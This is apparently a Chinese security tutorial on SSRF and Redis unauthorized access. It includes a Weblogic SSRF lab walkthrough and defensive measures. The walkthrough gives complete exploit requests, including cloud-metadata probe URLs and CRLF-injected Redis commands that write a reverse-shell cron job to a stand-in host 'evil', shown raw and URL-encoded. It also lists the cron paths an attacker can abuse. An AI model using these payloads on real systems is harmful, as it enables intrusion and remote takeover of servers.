深入解析SSRF和Redis未授权访问:漏洞分析与防御
在网络安全领域,服务器端请求伪造(SSRF) 和 Redis未授权访问 是两类常见且危险的安全漏洞。
1.2 SSRF攻击的利用
1.2.1 测试并确认SSRF漏洞
一个典型的例子是,当应用程序允许用户输入一个外部URL来获取数据时,攻击者可以输入一个指向内部资源的URL,来测试是否存在SSRF漏洞。
http://127.0.0.1/admin
http://169.254.169.254/latest/meta-data/ # 获取AWS元数据
在应用程序没有对用户输入的URL进行严格校验的情况下,攻击者可以利用SSRF漏洞访问内部管理接口或者获取云平台的元数据信息。
Weblogic SSRF漏洞
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
测试环境搭建
编译及启动测试环境
docker compose up -d
访问http://127.0.0.1:7001/uddiexplorer/
,无需登录即可查看uddiexplorer应用。
SSRF漏洞测试
SSRF漏洞存在于http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp
,我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:80
:
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type
。
通过错误的不同,即可探测内网状态。
注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.2:6379
可以连通:
发送三条redis命令,将弹shell脚本写入/etc/crontab
:
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
进行url编码:
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
注意,换行符是“\r\n”,也就是“%0D%0A”。
将url编码后的字符串放在ssrf的域名后面,发送:
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
最后也是成功反弹:
补充一下,可进行利用的cron有如下几个地方:
- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件
1.3 SSRF的防御措施
-
限制请求的目的地:应用程序应严格限制外部请求的目标,避免请求内部资源,如
localhost
、127.0.0.1
、内网IP等。 -
使用白名单机制:只允许访问预定义的外部资源,所有其他请求都应被拒绝。
-
加强URL校验:在接受用户输入的URL前,应该进行严格的校验,防止恶意URL被利用。
-
网络层面防护:使用防火墙或其他网络安全设备,阻止从应用服务器发出的可疑请求
二、Redis未授权访问漏洞解析
2.1 Redis未授权访问的基本概念
Redis是一种高性能的键值对存储系统,常用于缓存、消息队列等场景。如果Redis实例未设置访问控制(即未授权访问),攻击者可以直接连接到Redis实例并执行任意命令,从而读取、修改数据,甚至通过恶意命令执行攻击。
2.2 Redis未授权访问的利用
2.2.1 漏洞检测
攻击者可以通过扫描内网或公共网络,查找暴露的Redis实例。如果实例未设置密码,攻击者可以直接使用redis-cli
连接到Redis实例,并执行命令。
info 可以查看redis信息
192.168.112.188:6379> info
# Server
redis_version:3.2.12
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:7897e7d0e13773f
redis_mode:standalone
os:Linux 3.10.0-1160.el7.x86_64 x86_64
arch_bits:64
multiplexing_api:epoll
gcc_version:4.8.5
process_id:4041
run_id:c8f79de1339bff6106652b1f3e64de2df1508b19
tcp_port:6379
uptime_in_seconds:19
uptime_in_days:0
hz:10
lru_clock:2727876
executable:/usr/bin/redis-server
config_file:/etc/redis.conf
2.3 Redis未授权访问的防御措施
-
设置访问密码:在Redis配置文件中启用
requirepass
设置,强制用户在连接Redis时提供密码。 -
限制访问IP:将Redis服务绑定到本地或特定的内网IP,避免暴露在公网或不受信任的网络中。
-
定期安全审计:定期检查Redis的配置和访问日志,确保不存在未授权的访问。
-
使用防火墙:通过防火墙限制对Redis端口的访问,只允许可信的IP范围连接。
三、总结
SSRF和Redis未授权访问是两类常见但极具威胁的安全漏洞。在实际的渗透测试中,攻防双方都应对这些漏洞保持高度警惕。通过合理的安全配置、严格的输入校验、以及定期的安全审计,可以有效降低这些漏洞被利用的风险。
希望通过本文的详细分析和图示,大家能对SSRF和Redis未授权访问有更深刻的理解,并能在实际工作中有效防御这些威胁。